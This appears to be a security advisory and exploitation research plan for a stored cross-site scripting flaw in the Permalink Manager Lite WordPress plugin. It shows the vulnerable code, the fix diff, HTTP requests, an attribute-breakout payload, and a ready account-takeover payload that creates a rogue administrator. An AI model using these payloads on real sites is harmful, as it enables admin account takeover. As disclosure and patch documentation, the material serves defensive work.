Permalink Manager Lite <= 2.5.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Title
Description
The Permalink Manager Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in the admin URI Editor interface in all versions up to, and including, 2.5.3.3 due to insufficient output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in the admin Permalink Manager page that will execute whenever an administrator accesses the Permalink Manager page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.5.3.3What Changed in the Fix
Changes introduced in v2.5.3.4
Source Code
WordPress.org SVNThis research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in **Permalink Manager Lite (<= 2.5.3.3)**. The vulnerability exists because the plugin fails to properly escape post titles before rendering them within an HTML attribute in the admin URI Editor. --- ### 1.…
Show full research plan
This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in Permalink Manager Lite (<= 2.5.3.3). The vulnerability exists because the plugin fails to properly escape post titles before rendering them within an HTML attribute in the admin URI Editor.
1. Vulnerability Summary
- Vulnerability: Authenticated (Contributor+) Stored XSS.
- Location:
includes/views/permalink-manager-uri-editor-post.phpinside thePermalink_Manager_URI_Editor_Postclass. - Cause: The method
column_default()usessanitize_text_field()on the post title but fails to useesc_attr()when echoing that title inside thetitleattribute of a "View" link. Whilesanitize_text_field()strips HTML tags, it does not escape double quotes, allowing for attribute breakout and event handler injection.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for post creation) andwp-admin/tools.php?page=permalink-manager(for execution). - Vulnerable Parameter:
post_title(during post creation). - Authentication: Contributor-level access is required to create a post.
- Preconditions: An administrator must visit the Permalink Manager "URI Editor" page after the malicious post is created.
3. Code Flow
- Input: A Contributor creates or updates a post via
wp-admin/post-new.phporwp-admin/post.php. The title is saved to thewp_poststable. - Access: An Administrator navigates to
tools.php?page=permalink-manager. - Initialization:
Permalink_Manager_Admin_Functions::add_menu_page()callsdisplay_section(). - UI Rendering:
Permalink_Manager_Admin_Functions::display_section()callsPermalink_Manager_UI_Elements::get_plugin_sections_html(). - Table Rendering: The URI Editor instantiates
Permalink_Manager_URI_Editor_Post(aWP_List_Tablesubclass) and calls itsdisplay()method. - Vulnerable Sink:
Permalink_Manager_URI_Editor_Post::column_default()is executed for each post:$post_title = sanitize_text_field( $item['post_title'] );is called (Line 115).- Inside the
case 'item_title':(Line 149), the code builds a link:$output .= '<span class="view"><a target="_blank" href="' . $permalink . '" title="' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '" rel="permalink">' . __( 'View', 'permalink-manager' ) . '</a> | </span>'; - The Flaw: Because
$post_titleis placed insidetitle="..."withoutesc_attr(), an attacker can use a"to break out of the attribute.
4. Nonce Acquisition Strategy
- Trigger Phase: Loading the URI Editor list table (
tools.php?page=permalink-manager) is a standard GET request and does not require a nonce to trigger the XSS. - Injection Phase: Creating a post as a Contributor uses the standard WordPress post nonce (
_wpnonce), which is handled automatically by the browser/UI during post creation. - Conclusion: No specialized nonce extraction is required for the primary exploitation of the XSS.
5. Exploitation Strategy
Step 1: Inject Payload (as Contributor)
Create a post with a title designed to break out of the title attribute and inject an automatic event handler.
- Payload:
My Post" onfocus="alert('XSS')" autofocus=" - HTTP Request:
POST /wp-admin/post.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=editpost&post_ID=[POST_ID]&post_title=My+Post%22+onfocus%3D%22alert%28%27XSS%27%29%22+autofocus%3D%22&post_type=post&_wpnonce=[NONCE]
Step 2: Trigger Payload (as Admin)
Log in as an Administrator and visit the URI Editor.
- HTTP Request:
GET /wp-admin/tools.php?page=permalink-manager HTTP/1.1
Step 3: Resulting HTML Sink
The rendered HTML in the admin dashboard will look like this:
<span class="view">
<a target="_blank" href="http://localhost/my-post"
title="View My Post" onfocus="alert('XSS')" autofocus=""
rel="permalink">View</a>
</span>
The autofocus attribute causes the element to gain focus on page load, immediately triggering the onfocus event handler.
6. Test Data Setup
- User Creation:
wp user create helper_contributor contributor@example.com --role=contributor --user_pass=password123 - Plugin Activation:
wp plugin activate permalink-manager - Post Creation:
The Contributor must have at least one post published or drafted for it to appear in the URI Editor list.
7. Expected Results
- When the Administrator loads the Permalink Manager page, a JavaScript alert box showing "XSS" (or the specified payload) will appear automatically.
- In a real attack, the payload would likely be an external script to exfiltrate the administrator's cookie or perform a CSRF to create a new administrator account.
8. Verification Steps
- Confirm Entry in Database:
wp db query "SELECT post_title FROM wp_posts WHERE post_title LIKE '%onfocus%'" - Examine Rendered Source:
Usebrowser_navigateto the URI Editor page and check the HTML source of the table for the stringonfocus="alert.
9. Alternative Approaches
- Mouseover Trigger: Use
Post" onmouseover="[payload]"ifautofocusis filtered or blocked by browser security. - Style Injection: If quotes were escaped but tags were not (though not the case here), one could use
<style>tags. Since tags are stripped bysanitize_text_field, attribute breakout is the only viable path. - Payload for Account Takeover:
Instead ofalert(), use:" onfocus="fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=> { let n=t.match(/_wpnonce_create-user\" value=\"([^\"]+)\"/)[1]; fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:`action=createuser&user_login=attacker&email=evil@example.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator&_wpnonce_create-user=${n}`})})" autofocus="
Summary
The Permalink Manager Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in the admin URI Editor interface. Authenticated attackers with Contributor-level permissions can inject arbitrary JavaScript by creating a post with a crafted title that breaks out of an HTML attribute due to missing output escaping.
Vulnerable Code
// includes/views/permalink-manager-uri-editor-post.php line 115 $post_title = sanitize_text_field( $item['post_title'] ); --- // includes/views/permalink-manager-uri-editor-post.php lines 151-153 $output .= '<div class="row-actions">'; $output .= sprintf( "<span class=\"edit\"><a href=\"%s\" title=\"%s\">%s</a> | </span>", get_edit_post_link( $item['ID'] ), __( 'Edit', 'permalink-manager' ), __( 'Edit', 'permalink-manager' ) ); $output .= '<span class="view"><a target="_blank" href="' . $permalink . '" title="' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '" rel="permalink">' . __( 'View', 'permalink-manager' ) . '</a> | </span>';
Security Fix
@@ -140,7 +142,7 @@ return $output; case 'item_title': - $output = $post_title; + $output = esc_html( $post_title ); $output .= '<div class="extra-info small">'; $output .= sprintf( "<span><strong>%s:</strong> %s</span>", __( "Slug", "permalink-manager" ), urldecode( $item['post_name'] ) ); $output .= sprintf( " | <span><strong>%s:</strong> {$post_statuses_array[$item["post_status"]]}</span>", __( "Post status", "permalink-manager" ) ); @@ -148,9 +150,9 @@ $output .= '</div>'; $output .= '<div class="row-actions">'; - $output .= sprintf( "<span class=\"edit\"><a href=\"%s\" title=\"%s\">%s</a> | </span>", get_edit_post_link( $item['ID'] ), __( 'Edit', 'permalink-manager' ), __( 'Edit', 'permalink-manager' ) ); - $output .= '<span class="view"><a target="_blank" href="' . $permalink . '" title="' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '" rel="permalink">' . __( 'View', 'permalink-manager' ) . '</a> | </span>'; - $output .= '<span class="id">#' . $item['ID'] . '</span>'; + $output .= sprintf( '<span class="edit"><a href="%1$s" title="%2$s">%2$s</a> | </span>', esc_url( get_edit_post_link( $item['ID'] ) ), __( 'Edit', 'permalink-manager' ) ); + $output .= sprintf( '<span class="view"><a target="_blank" href="%1$s" title="%2$s %3$s" rel="permalink">%2$s</a> | </span>', esc_attr( $permalink ), __( 'View', 'permalink-manager' ), esc_html( $post_title ) ); + $output .= sprintf( '<span class="id">#%s</span>', esc_html( $item['ID'] ) ); $output .= '</div>'; return $output;
Exploit Outline
1. Login as a Contributor-level user. 2. Create or edit a post. 3. Set the post title to a payload designed to break out of an HTML attribute, such as: `My Post" onfocus="alert('XSS')" autofocus="`. 4. Save the post. The double quotes are preserved by the `sanitize_text_field` function used in the plugin's display logic. 5. Wait for or trick an Administrator into navigating to the Permalink Manager URI Editor page at `wp-admin/tools.php?page=permalink-manager`. 6. The plugin renders the post list in the admin panel, echoing the malicious title directly into the `title` attribute of the 'View' link. The `autofocus` attribute causes the browser to focus the link on page load, immediately executing the `onfocus` JavaScript payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.